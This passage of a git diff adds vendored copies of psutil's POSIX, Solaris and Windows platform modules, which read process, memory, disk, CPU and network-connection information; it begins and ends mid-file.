reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Routines common to all posix systems.""" + +import errno +import glob +import os +import sys +import time + +from ._common import sdiskusage, usage_percent, memoize +from ._compat import PY3, unicode + + +class TimeoutExpired(Exception): + pass + + +def pid_exists(pid): + """Check whether pid exists in the current process table.""" + if pid == 0: + # According to "man 2 kill" PID 0 has a special meaning: + # it refers to <> so we don't want to go any further. + # If we get here it means this UNIX platform *does* have + # a process with id 0. + return True + try: + os.kill(pid, 0) + except OSError as err: + if err.errno == errno.ESRCH: + # ESRCH == No such process + return False + elif err.errno == errno.EPERM: + # EPERM clearly means there's a process to deny access to + return True + else: + # According to "man 2 kill" possible error values are + # (EINVAL, EPERM, ESRCH) therefore we should never get + # here. If we do let's be explicit in considering this + # an error. + raise err + else: + return True + + +def wait_pid(pid, timeout=None): + """Wait for process with pid 'pid' to terminate and return its + exit status code as an integer. + + If pid is not a children of os.getpid() (current process) just + waits until the process disappears and return None. + + If pid does not exist at all return None immediately. + + Raise TimeoutExpired on timeout expired. + """ + def check_timeout(delay): + if timeout is not None: + if timer() >= stop_at: + raise TimeoutExpired() + time.sleep(delay) + return min(delay * 2, 0.04) + + timer = getattr(time, 'monotonic', time.time) + if timeout is not None: + def waitcall(): + return os.waitpid(pid, os.WNOHANG) + stop_at = timer() + timeout + else: + def waitcall(): + return os.waitpid(pid, 0) + + delay = 0.0001 + while True: + try: + retpid, status = waitcall() + except OSError as err: + if err.errno == errno.EINTR: + delay = check_timeout(delay) + continue + elif err.errno == errno.ECHILD: + # This has two meanings: + # - pid is not a child of os.getpid() in which case + # we keep polling until it's gone + # - pid never existed in the first place + # In both cases we'll eventually return None as we + # can't determine its exit status code. + while True: + if pid_exists(pid): + delay = check_timeout(delay) + else: + return + else: + raise + else: + if retpid == 0: + # WNOHANG was used, pid is still running + delay = check_timeout(delay) + continue + # process exited due to a signal; return the integer of + # that signal + if os.WIFSIGNALED(status): + return os.WTERMSIG(status) + # process exited using exit(2) system call; return the + # integer exit(2) system call has been called with + elif os.WIFEXITED(status): + return os.WEXITSTATUS(status) + else: + # should never happen + raise RuntimeError("unknown process exit status") + + +def disk_usage(path): + """Return disk usage associated with path.""" + try: + st = os.statvfs(path) + except UnicodeEncodeError: + if not PY3 and isinstance(path, unicode): + # this is a bug with os.statvfs() and unicode on + # Python 2, see: + # - https://github.com/giampaolo/psutil/issues/416 + # - http://bugs.python.org/issue18695 + try: + path = path.encode(sys.getfilesystemencoding()) + except UnicodeEncodeError: + pass + st = os.statvfs(path) + else: + raise + free = (st.f_bavail * st.f_frsize) + total = (st.f_blocks * st.f_frsize) + used = (st.f_blocks - st.f_bfree) * st.f_frsize + percent = usage_percent(used, total, _round=1) + # NB: the percentage is -5% than what shown by df due to + # reserved blocks that we are currently not considering: + # http://goo.gl/sWGbH + return sdiskusage(total, used, free, percent) + + +@memoize +def _get_terminal_map(): + ret = {} + ls = glob.glob('/dev/tty*') + glob.glob('/dev/pts/*') + for name in ls: + assert name not in ret + try: + ret[os.stat(name).st_rdev] = name + except OSError as err: + if err.errno != errno.ENOENT: + raise + return ret diff --git a/pupy/packages/windows/x86/psutil/_pssunos.py b/pupy/packages/windows/x86/psutil/_pssunos.py new file mode 100755 index 00000000..bc35a718 --- /dev/null +++ b/pupy/packages/windows/x86/psutil/_pssunos.py @@ -0,0 +1,553 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Sun OS Solaris platform implementation.""" + +import errno +import os +import socket +import subprocess +import sys +from collections import namedtuple + +from . import _common +from . import _psposix +from . import _psutil_posix as cext_posix +from . import _psutil_sunos as cext +from ._common import isfile_strict, socktype_to_enum, sockfam_to_enum +from ._common import usage_percent +from ._compat import PY3 + + +__extra__all__ = ["CONN_IDLE", "CONN_BOUND"] + +PAGE_SIZE = os.sysconf('SC_PAGE_SIZE') +AF_LINK = cext_posix.AF_LINK + +CONN_IDLE = "IDLE" +CONN_BOUND = "BOUND" + +PROC_STATUSES = { + cext.SSLEEP: _common.STATUS_SLEEPING, + cext.SRUN: _common.STATUS_RUNNING, + cext.SZOMB: _common.STATUS_ZOMBIE, + cext.SSTOP: _common.STATUS_STOPPED, + cext.SIDL: _common.STATUS_IDLE, + cext.SONPROC: _common.STATUS_RUNNING, # same as run + cext.SWAIT: _common.STATUS_WAITING, +} + +TCP_STATUSES = { + cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED, + cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT, + cext.TCPS_SYN_RCVD: _common.CONN_SYN_RECV, + cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1, + cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2, + cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT, + cext.TCPS_CLOSED: _common.CONN_CLOSE, + cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT, + cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK, + cext.TCPS_LISTEN: _common.CONN_LISTEN, + cext.TCPS_CLOSING: _common.CONN_CLOSING, + cext.PSUTIL_CONN_NONE: _common.CONN_NONE, + cext.TCPS_IDLE: CONN_IDLE, # sunos specific + cext.TCPS_BOUND: CONN_BOUND, # sunos specific +} + +scputimes = namedtuple('scputimes', ['user', 'system', 'idle', 'iowait']) +svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free']) +pextmem = namedtuple('pextmem', ['rss', 'vms']) +pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss', 'anon', 'locked']) +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields)) + +# set later from __init__.py +NoSuchProcess = None +ZombieProcess = None +AccessDenied = None +TimeoutExpired = None + +# --- functions + +disk_io_counters = cext.disk_io_counters +net_io_counters = cext.net_io_counters +disk_usage = _psposix.disk_usage +net_if_addrs = cext_posix.net_if_addrs + + +def virtual_memory(): + # we could have done this with kstat, but imho this is good enough + total = os.sysconf('SC_PHYS_PAGES') * PAGE_SIZE + # note: there's no difference on Solaris + free = avail = os.sysconf('SC_AVPHYS_PAGES') * PAGE_SIZE + used = total - free + percent = usage_percent(used, total, _round=1) + return svmem(total, avail, percent, used, free) + + +def swap_memory(): + sin, sout = cext.swap_mem() + # XXX + # we are supposed to get total/free by doing so: + # http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/ + # usr/src/cmd/swap/swap.c + # ...nevertheless I can't manage to obtain the same numbers as 'swap' + # cmdline utility, so let's parse its output (sigh!) + p = subprocess.Popen(['/usr/bin/env', 'PATH=/usr/sbin:/sbin:%s' % + os.environ['PATH'], 'swap', '-l', '-k'], + stdout=subprocess.PIPE) + stdout, stderr = p.communicate() + if PY3: + stdout = stdout.decode(sys.stdout.encoding) + if p.returncode != 0: + raise RuntimeError("'swap -l -k' failed (retcode=%s)" % p.returncode) + + lines = stdout.strip().split('\n')[1:] + if not lines: + raise RuntimeError('no swap device(s) configured') + total = free = 0 + for line in lines: + line = line.split() + t, f = line[-2:] + t = t.replace('K', '') + f = f.replace('K', '') + total += int(int(t) * 1024) + free += int(int(f) * 1024) + used = total - free + percent = usage_percent(used, total, _round=1) + return _common.sswap(total, used, free, percent, + sin * PAGE_SIZE, sout * PAGE_SIZE) + + +def pids(): + """Returns a list of PIDs currently running on the system.""" + return [int(x) for x in os.listdir('/proc') if x.isdigit()] + + +def pid_exists(pid): + """Check for the existence of a unix pid.""" + return _psposix.pid_exists(pid) + + +def cpu_times(): + """Return system-wide CPU times as a named tuple""" + ret = cext.per_cpu_times() + return scputimes(*[sum(x) for x in zip(*ret)]) + + +def per_cpu_times(): + """Return system per-CPU times as a list of named tuples""" + ret = cext.per_cpu_times() + return [scputimes(*x) for x in ret] + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + try: + return os.sysconf("SC_NPROCESSORS_ONLN") + except ValueError: + # mimic os.cpu_count() behavior + return None + + +def cpu_count_physical(): + """Return the number of physical CPUs in the system.""" + return cext.cpu_count_phys() + + +def boot_time(): + """The system boot time expressed in seconds since the epoch.""" + return cext.boot_time() + + +def users(): + """Return currently connected users as a list of namedtuples.""" + retlist = [] + rawlist = cext.users() + localhost = (':0.0', ':0') + for item in rawlist: + user, tty, hostname, tstamp, user_process = item + # note: the underlying C function includes entries about + # system boot, run level and others. We might want + # to use them in the future. + if not user_process: + continue + if hostname in localhost: + hostname = 'localhost' + nt = _common.suser(user, tty, hostname, tstamp) + retlist.append(nt) + return retlist + + +def disk_partitions(all=False): + """Return system disk partitions.""" + # TODO - the filtering logic should be better checked so that + # it tries to reflect 'df' as much as possible + retlist = [] + partitions = cext.disk_partitions() + for partition in partitions: + device, mountpoint, fstype, opts = partition + if device == 'none': + device = '' + if not all: + # Differently from, say, Linux, we don't have a list of + # common fs types so the best we can do, AFAIK, is to + # filter by filesystem having a total size > 0. + if not disk_usage(mountpoint).total: + continue + ntuple = _common.sdiskpart(device, mountpoint, fstype, opts) + retlist.append(ntuple) + return retlist + + +def net_connections(kind, _pid=-1): + """Return socket connections. If pid == -1 return system-wide + connections (as opposed to connections opened by one process only). + Only INET sockets are returned (UNIX are not). + """ + cmap = _common.conn_tmap.copy() + if _pid == -1: + cmap.pop('unix', 0) + if kind not in cmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in cmap]))) + families, types = _common.conn_tmap[kind] + rawlist = cext.net_connections(_pid, families, types) + ret = set() + for item in rawlist: + fd, fam, type_, laddr, raddr, status, pid = item + if fam not in families: + continue + if type_ not in types: + continue + status = TCP_STATUSES[status] + fam = sockfam_to_enum(fam) + type_ = socktype_to_enum(type_) + if _pid == -1: + nt = _common.sconn(fd, fam, type_, laddr, raddr, status, pid) + else: + nt = _common.pconn(fd, fam, type_, laddr, raddr, status) + ret.add(nt) + return list(ret) + + +def net_if_stats(): + """Get NIC stats (isup, duplex, speed, mtu).""" + ret = cext.net_if_stats() + for name, items in ret.items(): + isup, duplex, speed, mtu = items + if hasattr(_common, 'NicDuplex'): + duplex = _common.NicDuplex(duplex) + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +def wrap_exceptions(fun): + """Call callable into a try/except clause and translate ENOENT, + EACCES and EPERM in NoSuchProcess or AccessDenied exceptions. + """ + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except EnvironmentError as err: + # support for private module import + if (NoSuchProcess is None or AccessDenied is None or + ZombieProcess is None): + raise + # ENOENT (no such file or directory) gets raised on open(). + # ESRCH (no such process) can get raised on read() if + # process is gone in meantime. + if err.errno in (errno.ENOENT, errno.ESRCH): + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + return wrapper + + +class Process(object): + """Wrapper class around underlying C implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + # note: max len == 15 + return cext.proc_name_and_args(self.pid)[0] + + @wrap_exceptions + def exe(self): + # Will be guess later from cmdline but we want to explicitly + # invoke cmdline here in order to get an AccessDenied + # exception if the user has not enough privileges. + self.cmdline() + return "" + + @wrap_exceptions + def cmdline(self): + return cext.proc_name_and_args(self.pid)[1].split(' ') + + @wrap_exceptions + def create_time(self): + return cext.proc_basic_info(self.pid)[3] + + @wrap_exceptions + def num_threads(self): + return cext.proc_basic_info(self.pid)[5] + + @wrap_exceptions + def nice_get(self): + # For some reason getpriority(3) return ESRCH (no such process) + # for certain low-pid processes, no matter what (even as root). + # The process actually exists though, as it has a name, + # creation time, etc. + # The best thing we can do here appears to be raising AD. + # Note: tested on Solaris 11; on Open Solaris 5 everything is + # fine. + try: + return cext_posix.getpriority(self.pid) + except EnvironmentError as err: + # 48 is 'operation not supported' but errno does not expose + # it. It occurs for low system pids. + if err.errno in (errno.ENOENT, errno.ESRCH, 48): + if pid_exists(self.pid): + raise AccessDenied(self.pid, self._name) + raise + + @wrap_exceptions + def nice_set(self, value): + if self.pid in (2, 3): + # Special case PIDs: internally setpriority(3) return ESRCH + # (no such process), no matter what. + # The process actually exists though, as it has a name, + # creation time, etc. + raise AccessDenied(self.pid, self._name) + return cext_posix.setpriority(self.pid, value) + + @wrap_exceptions + def ppid(self): + return cext.proc_basic_info(self.pid)[0] + + @wrap_exceptions + def uids(self): + real, effective, saved, _, _, _ = cext.proc_cred(self.pid) + return _common.puids(real, effective, saved) + + @wrap_exceptions + def gids(self): + _, _, _, real, effective, saved = cext.proc_cred(self.pid) + return _common.puids(real, effective, saved) + + @wrap_exceptions + def cpu_times(self): + user, system = cext.proc_cpu_times(self.pid) + return _common.pcputimes(user, system) + + @wrap_exceptions + def terminal(self): + hit_enoent = False + tty = wrap_exceptions( + cext.proc_basic_info(self.pid)[0]) + if tty != cext.PRNODEV: + for x in (0, 1, 2, 255): + try: + return os.readlink('/proc/%d/path/%d' % (self.pid, x)) + except OSError as err: + if err.errno == errno.ENOENT: + hit_enoent = True + continue + raise + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + + @wrap_exceptions + def cwd(self): + # /proc/PID/path/cwd may not be resolved by readlink() even if + # it exists (ls shows it). If that's the case and the process + # is still alive return None (we can return None also on BSD). + # Reference: http://goo.gl/55XgO + try: + return os.readlink("/proc/%s/path/cwd" % self.pid) + except OSError as err: + if err.errno == errno.ENOENT: + os.stat("/proc/%s" % self.pid) + return None + raise + + @wrap_exceptions + def memory_info(self): + ret = cext.proc_basic_info(self.pid) + rss, vms = ret[1] * 1024, ret[2] * 1024 + return _common.pmem(rss, vms) + + # it seems Solaris uses rss and vms only + memory_info_ex = memory_info + + @wrap_exceptions + def status(self): + code = cext.proc_basic_info(self.pid)[6] + # XXX is '?' legit? (we're not supposed to return it anyway) + return PROC_STATUSES.get(code, '?') + + @wrap_exceptions + def threads(self): + ret = [] + tids = os.listdir('/proc/%d/lwp' % self.pid) + hit_enoent = False + for tid in tids: + tid = int(tid) + try: + utime, stime = cext.query_process_thread( + self.pid, tid) + except EnvironmentError as err: + # ENOENT == thread gone in meantime + if err.errno == errno.ENOENT: + hit_enoent = True + continue + raise + else: + nt = _common.pthread(tid, utime, stime) + ret.append(nt) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return ret + + @wrap_exceptions + def open_files(self): + retlist = [] + hit_enoent = False + pathdir = '/proc/%d/path' % self.pid + for fd in os.listdir('/proc/%d/fd' % self.pid): + path = os.path.join(pathdir, fd) + if os.path.islink(path): + try: + file = os.readlink(path) + except OSError as err: + # ENOENT == file which is gone in the meantime + if err.errno == errno.ENOENT: + hit_enoent = True + continue + raise + else: + if isfile_strict(file): + retlist.append(_common.popenfile(file, int(fd))) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return retlist + + def _get_unix_sockets(self, pid): + """Get UNIX sockets used by process by parsing 'pfiles' output.""" + # TODO: rewrite this in C (...but the damn netstat source code + # does not include this part! Argh!!) + cmd = "pfiles %s" % pid + p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, + stderr=subprocess.PIPE) + stdout, stderr = p.communicate() + if PY3: + stdout, stderr = [x.decode(sys.stdout.encoding) + for x in (stdout, stderr)] + if p.returncode != 0: + if 'permission denied' in stderr.lower(): + raise AccessDenied(self.pid, self._name) + if 'no such process' in stderr.lower(): + raise NoSuchProcess(self.pid, self._name) + raise RuntimeError("%r command error\n%s" % (cmd, stderr)) + + lines = stdout.split('\n')[2:] + for i, line in enumerate(lines): + line = line.lstrip() + if line.startswith('sockname: AF_UNIX'): + path = line.split(' ', 2)[2] + type = lines[i - 2].strip() + if type == 'SOCK_STREAM': + type = socket.SOCK_STREAM + elif type == 'SOCK_DGRAM': + type = socket.SOCK_DGRAM + else: + type = -1 + yield (-1, socket.AF_UNIX, type, path, "", _common.CONN_NONE) + + @wrap_exceptions + def connections(self, kind='inet'): + ret = net_connections(kind, _pid=self.pid) + # The underlying C implementation retrieves all OS connections + # and filters them by PID. At this point we can't tell whether + # an empty list means there were no connections for process or + # process is no longer active so we force NSP in case the PID + # is no longer there. + if not ret: + os.stat('/proc/%s' % self.pid) # will raise NSP if process is gone + + # UNIX sockets + if kind in ('all', 'unix'): + ret.extend([_common.pconn(*conn) for conn in + self._get_unix_sockets(self.pid)]) + return ret + + nt_mmap_grouped = namedtuple('mmap', 'path rss anon locked') + nt_mmap_ext = namedtuple('mmap', 'addr perms path rss anon locked') + + @wrap_exceptions + def memory_maps(self): + def toaddr(start, end): + return '%s-%s' % (hex(start)[2:].strip('L'), + hex(end)[2:].strip('L')) + + retlist = [] + rawlist = cext.proc_memory_maps(self.pid) + hit_enoent = False + for item in rawlist: + addr, addrsize, perm, name, rss, anon, locked = item + addr = toaddr(addr, addrsize) + if not name.startswith('['): + try: + name = os.readlink('/proc/%s/path/%s' % (self.pid, name)) + except OSError as err: + if err.errno == errno.ENOENT: + # sometimes the link may not be resolved by + # readlink() even if it exists (ls shows it). + # If that's the case we just return the + # unresolved link path. + # This seems an incosistency with /proc similar + # to: http://goo.gl/55XgO + name = '/proc/%s/path/%s' % (self.pid, name) + hit_enoent = True + else: + raise + retlist.append((addr, perm, name, rss, anon, locked)) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return retlist + + @wrap_exceptions + def num_fds(self): + return len(os.listdir("/proc/%s/fd" % self.pid)) + + @wrap_exceptions + def num_ctx_switches(self): + return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid)) + + @wrap_exceptions + def wait(self, timeout=None): + try: + return _psposix.wait_pid(self.pid, timeout) + except _psposix.TimeoutExpired: + # support for private module import + if TimeoutExpired is None: + raise + raise TimeoutExpired(timeout, self.pid, self._name) diff --git a/pupy/packages/windows/x86/psutil/_pswindows.py b/pupy/packages/windows/x86/psutil/_pswindows.py new file mode 100755 index 00000000..30b4d9fa --- /dev/null +++ b/pupy/packages/windows/x86/psutil/_pswindows.py @@ -0,0 +1,584 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Windows platform implementation.""" + +import errno +import functools +import os +import sys +from collections import namedtuple + +from . import _common +from . import _psutil_windows as cext +from ._common import conn_tmap, usage_percent, isfile_strict +from ._common import sockfam_to_enum, socktype_to_enum +from ._compat import PY3, xrange, lru_cache, long +from ._psutil_windows import (ABOVE_NORMAL_PRIORITY_CLASS, + BELOW_NORMAL_PRIORITY_CLASS, + HIGH_PRIORITY_CLASS, + IDLE_PRIORITY_CLASS, + NORMAL_PRIORITY_CLASS, + REALTIME_PRIORITY_CLASS) + +if sys.version_info >= (3, 4): + import enum +else: + enum = None + +# process priority constants, import from __init__.py: +# http://msdn.microsoft.com/en-us/library/ms686219(v=vs.85).aspx +__extra__all__ = ["ABOVE_NORMAL_PRIORITY_CLASS", "BELOW_NORMAL_PRIORITY_CLASS", + "HIGH_PRIORITY_CLASS", "IDLE_PRIORITY_CLASS", + "NORMAL_PRIORITY_CLASS", "REALTIME_PRIORITY_CLASS", + "CONN_DELETE_TCB", + "AF_LINK", + ] + +# --- module level constants (gets pushed up to psutil module) + +CONN_DELETE_TCB = "DELETE_TCB" +WAIT_TIMEOUT = 0x00000102 # 258 in decimal +ACCESS_DENIED_SET = frozenset([errno.EPERM, errno.EACCES, + cext.ERROR_ACCESS_DENIED]) +if enum is None: + AF_LINK = -1 +else: + AddressFamily = enum.IntEnum('AddressFamily', {'AF_LINK': -1}) + AF_LINK = AddressFamily.AF_LINK + +TCP_STATUSES = { + cext.MIB_TCP_STATE_ESTAB: _common.CONN_ESTABLISHED, + cext.MIB_TCP_STATE_SYN_SENT: _common.CONN_SYN_SENT, + cext.MIB_TCP_STATE_SYN_RCVD: _common.CONN_SYN_RECV, + cext.MIB_TCP_STATE_FIN_WAIT1: _common.CONN_FIN_WAIT1, + cext.MIB_TCP_STATE_FIN_WAIT2: _common.CONN_FIN_WAIT2, + cext.MIB_TCP_STATE_TIME_WAIT: _common.CONN_TIME_WAIT, + cext.MIB_TCP_STATE_CLOSED: _common.CONN_CLOSE, + cext.MIB_TCP_STATE_CLOSE_WAIT: _common.CONN_CLOSE_WAIT, + cext.MIB_TCP_STATE_LAST_ACK: _common.CONN_LAST_ACK, + cext.MIB_TCP_STATE_LISTEN: _common.CONN_LISTEN, + cext.MIB_TCP_STATE_CLOSING: _common.CONN_CLOSING, + cext.MIB_TCP_STATE_DELETE_TCB: CONN_DELETE_TCB, + cext.PSUTIL_CONN_NONE: _common.CONN_NONE, +} + +if enum is not None: + class Priority(enum.IntEnum): + ABOVE_NORMAL_PRIORITY_CLASS = ABOVE_NORMAL_PRIORITY_CLASS + BELOW_NORMAL_PRIORITY_CLASS = BELOW_NORMAL_PRIORITY_CLASS + HIGH_PRIORITY_CLASS = HIGH_PRIORITY_CLASS + IDLE_PRIORITY_CLASS = IDLE_PRIORITY_CLASS + NORMAL_PRIORITY_CLASS = NORMAL_PRIORITY_CLASS + REALTIME_PRIORITY_CLASS = REALTIME_PRIORITY_CLASS + + globals().update(Priority.__members__) + +scputimes = namedtuple('scputimes', ['user', 'system', 'idle']) +svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free']) +pextmem = namedtuple( + 'pextmem', ['num_page_faults', 'peak_wset', 'wset', 'peak_paged_pool', + 'paged_pool', 'peak_nonpaged_pool', 'nonpaged_pool', + 'pagefile', 'peak_pagefile', 'private']) +pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss']) +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields)) +ntpinfo = namedtuple( + 'ntpinfo', ['num_handles', 'ctx_switches', 'user_time', 'kernel_time', + 'create_time', 'num_threads', 'io_rcount', 'io_wcount', + 'io_rbytes', 'io_wbytes']) + +# set later from __init__.py +NoSuchProcess = None +AccessDenied = None +TimeoutExpired = None + + +@lru_cache(maxsize=512) +def _win32_QueryDosDevice(s): + return cext.win32_QueryDosDevice(s) + + +def _convert_raw_path(s): + # convert paths using native DOS format like: + # "\Device\HarddiskVolume1\Windows\systemew\file.txt" + # into: "C:\Windows\systemew\file.txt" + if PY3 and not isinstance(s, str): + s = s.decode('utf8') + rawdrive = '\\'.join(s.split('\\')[:3]) + driveletter = _win32_QueryDosDevice(rawdrive) + return os.path.join(driveletter, s[len(rawdrive):]) + + +def py2_strencode(s, encoding=sys.getfilesystemencoding()): + if PY3 or isinstance(s, str): + return s + else: + try: + return s.encode(encoding) + except UnicodeEncodeError: + # Filesystem codec failed, return the plain unicode + # string (this should never happen). + return s + + +# --- public functions + + +def virtual_memory(): + """System virtual memory as a namedtuple.""" + mem = cext.virtual_mem() + totphys, availphys, totpagef, availpagef, totvirt, freevirt = mem + # + total = totphys + avail = availphys + free = availphys + used = total - avail + percent = usage_percent((total - avail), total, _round=1) + return svmem(total, avail, percent, used, free) + + +def swap_memory(): + """Swap system memory as a (total, used, free, sin, sout) tuple.""" + mem = cext.virtual_mem() + total = mem[2] + free = mem[3] + used = total - free + percent = usage_percent(used, total, _round=1) + return _common.sswap(total, used, free, percent, 0, 0) + + +def disk_usage(path): + """Return disk usage associated with path.""" + try: + total, free = cext.disk_usage(path) + except WindowsError: + if not os.path.exists(path): + msg = "No such file or directory: '%s'" % path + raise OSError(errno.ENOENT, msg) + raise + used = total - free + percent = usage_percent(used, total, _round=1) + return _common.sdiskusage(total, used, free, percent) + + +def disk_partitions(all): + """Return disk partitions.""" + rawlist = cext.disk_partitions(all) + return [_common.sdiskpart(*x) for x in rawlist] + + +def cpu_times(): + """Return system CPU times as a named tuple.""" + user, system, idle = cext.cpu_times() + return scputimes(user, system, idle) + + +def per_cpu_times(): + """Return system per-CPU times as a list of named tuples.""" + ret = [] + for cpu_t in cext.per_cpu_times(): + user, system, idle = cpu_t + item = scputimes(user, system, idle) + ret.append(item) + return ret + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + return cext.cpu_count_logical() + + +def cpu_count_physical(): + """Return the number of physical CPUs in the system.""" + return cext.cpu_count_phys() + + +def boot_time(): + """The system boot time expressed in seconds since the epoch.""" + return cext.boot_time() + + +def net_connections(kind, _pid=-1): + """Return socket connections. If pid == -1 return system-wide + connections (as opposed to connections opened by one process only). + """ + if kind not in conn_tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in conn_tmap]))) + families, types = conn_tmap[kind] + rawlist = cext.net_connections(_pid, families, types) + ret = set() + for item in rawlist: + fd, fam, type, laddr, raddr, status, pid = item + status = TCP_STATUSES[status] + fam = sockfam_to_enum(fam) + type = socktype_to_enum(type) + if _pid == -1: + nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid) + else: + nt = _common.pconn(fd, fam, type, laddr, raddr, status) + ret.add(nt) + return list(ret) + + +def net_if_stats(): + ret = cext.net_if_stats() + for name, items in ret.items(): + name = py2_strencode(name) + isup, duplex, speed, mtu = items + if hasattr(_common, 'NicDuplex'): + duplex = _common.NicDuplex(duplex) + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +def net_io_counters(): + ret = cext.net_io_counters() + return dict([(py2_strencode(k), v) for k, v in ret.items()]) + + +def net_if_addrs(): + ret = [] + for items in cext.net_if_addrs(): + items = list(items) + items[0] = py2_strencode(items[0]) + ret.append(items) + return ret + + +def users(): + """Return currently connected users as a list of namedtuples.""" + retlist = [] + rawlist = cext.users() + for item in rawlist: + user, hostname, tstamp = item + user = py2_strencode(user) + nt = _common.suser(user, None, hostname, tstamp) + retlist.append(nt) + return retlist + + +pids = cext.pids +pid_exists = cext.pid_exists +disk_io_counters = cext.disk_io_counters +ppid_map = cext.ppid_map # not meant to be public + + +def wrap_exceptions(fun): + """Decorator which translates bare OSError and WindowsError + exceptions into NoSuchProcess and AccessDenied. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except OSError as err: + # support for private module import + if NoSuchProcess is None or AccessDenied is None: + raise + if err.errno in ACCESS_DENIED_SET: + raise AccessDenied(self.pid, self._name) + if err.errno == errno.ESRCH: + raise NoSuchProcess(self.pid, self._name) + raise + return wrapper + + +class Process(object): + """Wrapper class around underlying C implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + """Return process name, which on Windows is always the final + part of the executable. + """ + # This is how PIDs 0 and 4 are always represented in taskmgr + # and process-hacker. + if self.pid == 0: + return "System Idle Process" + elif self.pid == 4: + return "System" + else: + try: + # Note: this will fail with AD for most PIDs owned + # by another user but it's faster. + return py2_strencode(os.path.basename(self.exe())) + except AccessDenied: + return py2_strencode(cext.proc_name(self.pid)) + + @wrap_exceptions + def exe(self): + # Note: os.path.exists(path) may return False even if the file + # is there, see: + # http://stackoverflow.com/questions/3112546/os-path-exists-lies + + # see https://github.com/giampaolo/psutil/issues/414 + # see https://github.com/giampaolo/psutil/issues/528 + if self.pid in (0, 4): + raise AccessDenied(self.pid, self._name) + return py2_strencode(_convert_raw_path(cext.proc_exe(self.pid))) + + @wrap_exceptions + def cmdline(self): + ret = cext.proc_cmdline(self.pid) + if PY3: + return ret + else: + return [py2_strencode(s) for s in ret] + + def ppid(self): + try: + return ppid_map()[self.pid] + except KeyError: + raise NoSuchProcess(self.pid, self._name) + + def _get_raw_meminfo(self): + try: + return cext.proc_memory_info(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + # TODO: the C ext can probably be refactored in order + # to get this from cext.proc_info() + return cext.proc_memory_info_2(self.pid) + raise + + @wrap_exceptions + def memory_info(self): + # on Windows RSS == WorkingSetSize and VSM == PagefileUsage + # fields of PROCESS_MEMORY_COUNTERS struct: + # http://msdn.microsoft.com/en-us/library/windows/desktop/ + # ms684877(v=vs.85).aspx + t = self._get_raw_meminfo() + return _common.pmem(t[2], t[7]) + + @wrap_exceptions + def memory_info_ex(self): + return pextmem(*self._get_raw_meminfo()) + + def memory_maps(self): + try: + raw = cext.proc_memory_maps(self.pid) + except OSError as err: + # XXX - can't use wrap_exceptions decorator as we're + # returning a generator; probably needs refactoring. + if err.errno in ACCESS_DENIED_SET: + raise AccessDenied(self.pid, self._name) + if err.errno == errno.ESRCH: + raise NoSuchProcess(self.pid, self._name) + raise + else: + for addr, perm, path, rss in raw: + path = _convert_raw_path(path) + addr = hex(addr) + yield (addr, perm, path, rss) + + @wrap_exceptions + def kill(self): + return cext.proc_kill(self.pid) + + @wrap_exceptions + def send_signal(self, sig): + os.kill(self.pid, sig) + + @wrap_exceptions + def wait(self, timeout=None): + if timeout is None: + timeout = cext.INFINITE + else: + # WaitForSingleObject() expects time in milliseconds + timeout = int(timeout * 1000) + ret = cext.proc_wait(self.pid, timeout) + if ret == WAIT_TIMEOUT: + # support for private module import + if TimeoutExpired is None: + raise RuntimeError("timeout expired") + raise TimeoutExpired(timeout, self.pid, self._name) + return ret + + @wrap_exceptions + def username(self): + if self.pid in (0, 4): + return 'NT AUTHORITY\\SYSTEM' + return cext.proc_username(self.pid) + + @wrap_exceptions + def create_time(self): + # special case for kernel process PIDs; return system boot time + if self.pid in (0, 4): + return boot_time() + try: + return cext.proc_create_time(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + return 